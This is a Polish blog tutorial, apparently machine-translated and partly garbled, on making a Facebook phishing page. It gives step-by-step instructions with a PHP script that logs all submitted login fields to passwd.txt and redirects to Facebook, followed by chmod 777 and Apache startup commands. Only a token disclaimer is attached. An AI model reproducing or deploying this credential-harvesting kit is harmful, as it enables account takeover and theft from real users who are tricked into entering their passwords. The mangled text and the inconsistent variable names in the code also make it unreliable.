co to jest atak phishingowy?
Phishing to rodzaj ataku socjotechnicznego. Facebook, Instagram i inne, ale lubią prawdziwe konta i robią inżynierię społeczną celu,a następnie cel klika ten link i wypełnia poświadczenia i numery kart kredytowych. etc do ich konta jest zagrożona przez hakera.
Czym Jest Socjotechnika?
socjotechnika jest sztuką manipulowania ludźmi, aby rezygnowali z poufnych informacji. Rodzaje informacji, których poszukują ci przestępcy, mogą się różnić, ale gdy osoby są ukierunkowane, przestępcy zwykle próbują oszukać cię, dając im hasła lub informacje bankowe,
lub uzyskać dostęp do komputera, aby potajemnie zainstalować złośliwe oprogramowanie–co da im dostęp do haseł i informacji bankowych, a także daje im kontrolę nad komputerem.
przestępcy stosują taktyki socjotechniczne, ponieważ zwykle łatwiej jest wykorzystać naturalną skłonność do zaufania, niż odkryć sposoby włamania się do oprogramowania. Na przykład
znacznie łatwiej jest oszukać kogoś, aby podał Ci swoje hasło, niż spróbować zhakować jego hasło (chyba że hasło jest naprawdę słabe). ok, zobaczmy więc, jak zainstalować narzędzie phishingowe w termux i włamać konta w mediach społecznościowych.Facebooka Facebook Phishing
Hack Facebook Facebook Facebook phishing strona
dzisiaj powiem Ci, jak można utworzyć stronę Facebook Phishing i jak hakerzy włamać czyjeś konto na Facebooku za pomocą Strony Facebook phishing. Facebooka, poruszając się po adresie URL strony na Facebooku.
przede wszystkim otwieramy naszą przeglądarkę, a następnie przechodzimy do Facebook.com strona.Facebook facebook facebook facebook account
po otwarciu strony na Facebooku, potrzebujemy kodu źródłowego Facebooka otwórzmy kod źródłowy istnieją dwie opcje czytania kodu źródłowego kliknij prawym przyciskiem myszy i kliknij Wyświetl kod źródłowy strony, a drugi jest klawisz skrótu naciśnij Ctrl + U.
strona kodu źródłowego Facebooka otworzy się w nowym oknie teraz kopiujemy cały kod źródłowy Facebooka.Facebooka
po skopiowaniu kodu źródłowego musimy utworzyć plik otwórz dowolny edytor jestem używany leafpad i wklej całe źródło do tego pliku.
|
1
|
leafpad
|
po wklejeniu kod źródłowy Facebooka wygląda tak. musimy znaleźć linię action= naciśnij CTRL + F jeśli używasz innych edytorów, Twój klawisz skrótu jest inny i wyszukaj action=.
znajdź linię action= w kodzie źródłowym.Facebooka
po znalezieniu linii action= tutaj widzimy inny adres URL Facebooka najpierw usuwamy adres URL logowania pamiętaj nie usuwaj drugiej linii. jeśli usuniesz coś przez pomyłkę, skopiuj cały kod ponownie i powtórz proces.
teraz musimy utworzyć inny plik PHP i skopiować kod PHP i wkleić do nowego pliku, a następnie zapisać plik można wybrać dowolną nazwę pliku.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?PHP
header (’lokalizacja: facebook.com’);
$handle = fopen („passwd.txt”,”a”);
foreach ($_POST as $zmienna => $wartość) {
fwrite ($uchwyt, $zmienna);
fwrite ($uchwyt, „=”);
fwrite ($handle, $value);
fwrite ($handle, „\r\n”);
}
fwrite($handle, „\r\n\n\n\n”);
fclose($handle);
exit;
?>
|
i ponownie przejdź do źródła Facebooka i ponownie wyszukaj action= i umieść nową nazwę pliku PHP w podwójnym cudzysłowie, w moim przypadku moja nazwa pliku to post.php.
i zapisz jako indeks.plik źródłowy HTML Facebook.
konto na Facebooku-Zapisz plik (indeks.html) Nazwa.
po zapisaniu pliku musimy utworzyć kolejny plik passwd.txt, dlaczego musimy utworzyć passwd.txt w tym pliku znaleźliśmy naszą docelową nazwę użytkownika i hasło.
konto na Facebooku-Utwórz hasło.plik txt.
|
1
|
echo ” > passwd.txt
|
po tym wszystkim musimy dodać uprawnienia dla wszystkich plików, aby uruchomić komendę chmod i wszystkie uprawnienia do odczytu i zapisu wykonywalnego.
dodawanie uprawnień do wszystkich plików
|
1
|
chmod 777 *
|
teraz zaczynamy nasz lokalny serwer Apache jeśli chcesz uzyskać dostęp do strony w Internecie potrzebujesz hostingu jestem skonfigurowany Facebook phishing strona na naszej lokalnej maszynie.
|
1
|
serwis apache2 start
|
nasz serwer Apache jest uruchomiony teraz otwórz przeglądarkę i przejdź do naszego lokalnego adresu IP. Po otwarciu strony zobaczysz stronę logowania na Facebooku, na której umieszczamy naszą testową nazwę użytkownika i hasło, nie umieszczaj tutaj swoich oryginalnych poświadczeń.
Po wypełnieniu e-maila / telefonu i hasła ta strona przekierowuje do oryginalnej strony na Facebooku, a nasza testowa nazwa użytkownika i hasło są zapisywane na passwd.plik txt.
sprawdźmy hasło.plik txt.
Uwaga: Pamiętaj, nie używaj procesu do nielegalnej działalności, jeśli wpiszesz własną oryginalną nazwę użytkownika i hasło, a Twoje konto zostanie zhakowane, nie jestem odpowiedzialny.
- MacChanger w Kali Linux
- rodzaje testów penetracyjnych
- strona Onion DarkWeb
- Odwrócona Ściągawka powłoki
- polecenie Linux Lostat